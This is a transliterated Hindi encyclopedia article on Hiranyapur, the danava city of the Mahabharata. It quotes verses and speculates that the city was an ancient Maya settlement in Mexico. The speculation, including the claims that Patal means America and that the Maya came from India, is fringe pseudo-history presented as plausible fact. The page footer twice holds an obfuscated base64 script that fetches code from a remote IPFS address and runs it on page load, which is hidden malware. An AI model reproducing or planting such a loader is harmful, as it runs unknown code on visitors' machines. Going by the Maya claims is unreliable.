हिरण्यपुर

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

mahabharat vanaparv[1] mean danavoan ke hiranyapur namak nagar ka ullekh hai. yahaan kalakey tatha paulom namak danavoan ka nivas mana gaya hai-

‘hiranyapuramityev khyayate nagaran mahath,
rakshitan kalakeyaishch paulomaishch mahasuraiah’.[2]

  • vanaparv[3] mean hi age mean kaha gaya hai ki soory ke saman prakashit hone vala daityoan ka akashachari nagar unaki ichchha ke anusar chalane vala tha aur daity log varadan ke prabhav se use sukh poorvak akash mean dharan karate the-

‘tath puran khacharan divyan kamagan sooryasaprabhamh daiteyairvadanen dharyatesm yathasukhamh’.

  • yah divy nagar kabhi prithvi par ata to kabhi patal me chala jata, kabhi oopar u data, kabhi tirakshi dishaoan me chalata aur kabhi shighr hi jal mean doob jata tha’-

‘antarbhoomau nipatati punaroordhv pratishthate,
punastiryakh prayatyashu punarapsu nimajjati’.

  • yahaan ke nivasi danavoan ka vadh arjun ne kiya tha.
  • mahabharat ke anusar yah nagar samudr ke par sthit tha.
  • patal desh ke nivatakavach namak daityoan ko harakar lautate samay arjun yahaan aye the.[4]
  • hiranyapur[5] ka ullekh mahabharat mean age mean is prakar hai,

‘hiranyapuramityet khyatan puravaran mahath,
 daityanaan danavanaan ch mayashatavicharinamh,
analpen prayatnen nirmitan vishvakarmana,
mayen manasa srishtan patalatalamashritamh.
atr mayasahastrani vikurvana mahojasah,
danava nivasantiroom shoora dattavaraah pura’.

  • isi prasang[6] mean hiranyapur ka vistar se varnan hai-

‘pashy veshmani raukamani matale rajatani ch, karmana vidhiyukten yuktanyupagatani ch.
vaidooyan manichitrani pravalaruchirani ch, arkasphatikashubhrani vajrasarojjvalanich.
parthivaniv chabhanti padmaragamayani ch, shailaniv ch drishyante daravaniv chapyuta.
sooryaroopani chabhanti diptagnisaddashani ch, manijalavichitrani praanshooni nibidanich.
naitani shakyan nirdeshtuan roopatodravyatastatha, gunatashchaiv siddhani pramanagunavanti ch.
akidanh pashyadaityanaantathaiv shayananyut.
ratnavanti maharhani bhajanamyasananich.
jaladabhaanstathashailaanstoyaprastravanani ch kamapushpaphalaanshchapi padapanh kamacharinah’.

  • is shlok[7] se soochit hota hai ki yah nagar mayadanav dvara nirmit kiya gaya tha. yah sambhav hai ki hiranyapur uttari amerika mean sthit vartaman maiksiko ki prachin maya jati ka koee nagar raha ho.
  • do tathy yahaan vishesh roop se vicharaniy hai-
    • hiranyapur ko patal desh mean sthit bataya gaya hai. jo amerika hi jan p data hai. kyoanki prithvi par amerika bharat ke sarvatha hi niche ya doosari or (pashchimi golarddh) mean hai.
    • doosari bat yah ki hiranyapur ko may danav dvara nirmit bataya gaya hai aur yahaan ke nivasiyoan ka sahastroan mayaoan (mayasahastrani) ke janane vale loango ke roop mean varnan hai.
  • yah bat vicharaniy hai ki maiksiko ki prachin jati jisaka nam ‘maya’ tha, tatha mahabharat me kathit mayadanav ke basae hue nagar mean rahane vale tatha anek prakar ki maya janane vale loangoan me paraspar bahut kuchh samy dikhaee p data hai.
  • is prasang mean mahabharat mean maya shabd ka prayog bahut hi saragarbhit jan p data hai. mahabharat mean jo varnan hiranyapur ke vaibhav-vilas ka hai vah bhi prachin meksiko ki maya sabhyata ke anuroop hi hai. oopar kaha gaya hai ki arjun ne is desh mean jakar yahaan ke danavoan ko parajit kiya tha.
  • bhar-tirthoan ka is desh se sambandh is bat se bhi prakat hota hai ki manav shastr ke anusar meksiko ke prachin nivasiyoan ki jati, unaki roopakriti, unake kitane hi dharmik riti-rivaj (jaise ram-sita ka utsav) tatha unaki bhasha ke anek shabd bharatiy jan p date haian.
  • kuchh vidvanoan ka to yah nishchit mat hai ki maya log bharat se hi akar meksiko mean base the.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. vanaparv 173
  2. vanaparv 173, 13
  3. vanaparv173, 26-27
  4. vanaparv 173
  5. udyog 100, 1-2-3
  6. udyog 100, 9-10-11-12-13-14-15
  7. udyog 1-2-3

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>